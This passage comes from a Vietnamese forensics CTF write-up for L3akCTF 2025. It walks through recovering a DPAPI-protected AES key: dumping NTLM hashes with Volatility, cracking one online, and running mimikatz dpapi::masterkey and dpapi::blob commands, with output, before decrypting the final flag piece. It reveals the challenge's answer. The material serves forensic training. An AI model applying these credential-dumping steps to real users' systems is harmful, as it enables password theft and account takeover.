    data = cipher.decrypt(encrypted_data)
    return decrypt_my_data
```

- Đọc `encrypted.bin`
- Dùng `CryptUnprotectData()`, một Windows API call để giải mã nội dung của `encrypted.bin` bằng cách sử dụng Data Protection API (DPAPI). Bước này lấy được AES key dùng để giải mã
- Hardcoded IV sử dụng vector khởi tạo tĩnh (static initialization vector) (`iv = ‘1234567891011123’`) cho giải mã AES
- Giải mã `encrypted_data`, một string ciphertext hardcoded đưỡ giải mã AES ở CBC mode, hiện ra payload, có lẽ là part cuối của flag

DPAPI (Data Protection API) là một tính năng có sẵn của Windows cho phép chương trình được mã hóa và giải mã dữ liệu một cách an toàn liên quan đến một người dùng hoặc thiết bị cụ thể mà không cần phải quản lí key mã hóa một cách thủ công

Các điểm chính:
- User-bound: dữ liệu bị mã hóa chỉ có thể được giải mã bởi cùng một user account
- Sử dụng: Browser(như Chrome/Edge) sử dụng DPAPI để lưu trữ mật khẩu hay key mã hóa một cách an toàn
- Gọi thông qua `CryptProtectData()` để mã hóa, `CryptUnprotectData()` để giải mã
- Ở đây, malware sử dụng `CryptUnprotectData()` để giải mã một key mà sau đó đã giải mã `encrypted.bin`

**Master Key trong DPAPI**
Master key là một thành phần cốt lõi của DPAPI, được sử dụng để giải mã dữ liệu user-protected

Nó được generate ở mỗi người dùng và lưu trữ an toàn trong profile người dùng theo path `C:\Users\<Username>\AppData\Roaming\Microsoft\Protect\<SID>\`

Các file trong folder đó bao gồm các master key bị mã hóa liên kết đến credential logon của người dùng

Tool như [Mimikatz](https://github.com/gentilkiwi/mimikatz) có thể giải mã các key này nếu như được chạy trong trường hợp cùng người dùng, hoặc sử dụng LSA secret hoặc hash của mật khẩu người dùng

Một khi master key được giải mã, nó có thể được sử dụng để giải mã dữ liệu nhạy cảm của browser như credential hay các payload mã hóa thủ công như `encrypted.bin`

### Extract DPAPI Master Key
```
mimikatz # dpapi::masterkey /in:"" /sid: /password:
```
- `/in:"..."`: path đến file master key được mã hóa từ folder Protect
- `/sid:...`: Security Identifier (SID) của user account mà master key thuộc về. Nó phải match với bối cảnh người dùng mà master key được generate ra
- `/password:...`: Mật khẩu đăng nhập của người dùng (plaintext hoặc NTLM hash), dùng để giải mã master key. Mật khẩu này xác thực quá trình giải mã

### Extract folder Protect từ disk.ad1
Sử dụng FTK Imager để export folder ra
![image](https://hackmd.io/_uploads/HkYgetUCxg.png)

Bên trong thư mục con có tiếp như sau
![image](https://hackmd.io/_uploads/ryqVxYURxx.png)

Ta đã có `/n:"4dc3472c-8370-4831-9124-f45a6d742757"` và `/sid:S-1-5-21-2532670039-4151104164-2696135040-1001`, giờ cần `/password`

### Extract mật khẩu từ bộ nhớ
Để khôi phục mật khẩu đã dùng cho giải mã DPAPI, ta cần extract nó trực tiếp từ bộ nhớ. Điều này rất hữu ích khi người dùng đã log in và credential của họ vẫn được lưu trong bộ nhớ

Ta sẽ dùng plugin `windows.hashdump` của Volatility 3 để extract hash của mật khẩu, từ đó dùng tool như Hashcat hay John the Ripper để crack ra plaintext

Plugin `hashdump` hoạt động bằng cách
- Nhắm vào cơ sở dữ liệu của`SAM` (Security Account Manager) đã load trong bộ nhớ
- Extract
    - Username
    - RID (Relative Indentifier)
    - LM hash (thường bị disable trong các hệ thông hiện đại) 
    - NTLM hash (sử dụng cho xác thực mật khẩu)

RID là đoạn cuối của SID và cho biết đó là user nào
`S-1-5-21-2532670039-4151104164-2696135040-1001`
Trong đó 
- `S-1-5-21-2532670039-4151104164-2696135040` xác định máy hoặc domain
- `1001` là RID, xác định người dùng cụ thể, trong trường hợp này là `abdelrhman322`

Một số RID phổ biến
- 500: Admin 
- 501: Tài khoản guest
- 1001+: Tài khoản thường

### Extract NTML hash
![image](https://hackmd.io/_uploads/HkSIMYLRex.png)

Đã có được các hash ở bên dưới, theo thứ tự là Username, RID, LM Hash và NTLM Hash

### Crack NTML Hash
Để crack hash của abdelrhman322 thì dùng [crackstation](https://crackstation.net/)

![image](https://hackmd.io/_uploads/rkNx7FUClx.png)

Như vậy có mật khẩu là `5563756`

### Extract DPAPI Master Key với Mimikatz
Sau đó dùng mimikatz có như sau
```bash
mimikatz # dpapi::masterkey /in:"C:\Users\Quan\Downloads\ForensicTasks\BreadcrumbNCKH\Protect\S-1-5-21-2532670039-4151104164-2696135040-1001\4dc3472c-8370-4831-9124-f45a6d742757" /sid:S-1-5-21-2532670039-4151104164-2696135040-1001 /password:5563756

...

[masterkey] with password: 5563756 (normal user)
  key : e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2
  sha1: 06e25d82fd8c0eab4104b47e176c3b8398786f4a
```

### Giải mã encrypted.bin với master key
Tiếp tục giải mã `encrypted.bin` với masterkey đó
```bash
mimikatz # dpapi::blob /in:"C:\Users\Quan\Downloads\ForensicTasks\BreadcrumbNCKH\encrypted.bin" /masterkey:e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {4dc3472c-8370-4831-9124-f45a6d742757}
  dwFlags            : 00000000 - 0 ()
  dwDescriptionLen   : 00000002 - 2
  szDescription      :
  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : b294a0817a260c11410984020c614f6e8a16aed3fc2746432f57fd2efba023b9
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : aa967b46ecf2788004467c183f1032bc72fcdc6fab914287446b562b239672b9
  dwDataLen          : 00000020 - 32
  pbData             : b84520d25631e0b2f38927cf6c778b0189c3167522f7eeac93d0d3081d1b0050
  dwSignLen          : 00000040 - 64
  pbSign             : 605d87ec9090ef8a90a4688cbac24686f2e3dd2dc6c8a8f4f7d0889734dc8e0a8758be8c3d4ec43be341ab01252c99ac811db8f771ac12b0829f904f5876a393

 * volatile cache: GUID:{4dc3472c-8370-4831-9124-f45a6d742757};KeyHash:06e25d82fd8c0eab4104b47e176c3b8398786f4a;Key:available
 * masterkey     : e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2
description :
data: 6d 79 5f 73 75 70 65 72 5f 73 65 63 72 65 74 5f
```

### Giải mã payload
Sau khi lấy được AES key, có thể giải mã `encrypted.bin`. Sử dụng script python sau để giải mã sử dụng AES-CBC mode
```python=
from Crypto.Cipher import AES

key = bytes.fromhex("6d795f73757065725f7365637265745f")

iv = b"1234567891011123"

ciphertext = bytes.fromhex("6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412")

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = cipher.decrypt(ciphertext)

print(decrypted_data)

```

Sau khi chạy script thì ra part cuối của flag
![image](https://hackmd.io/_uploads/Skt5tFU0ll.png)
`is_where_the_challenge_begins}`

Như vậy, ghép cả 3 part lại ta có được flag cuối cùng
```
FLAG: L3AK{AV_evasion_is_easy_Mastering_forensics_is_where_the_challenge_begins}
```



> Tham khảo từ: `https://abdelrahme.github.io/posts/L3akCTF-2025/`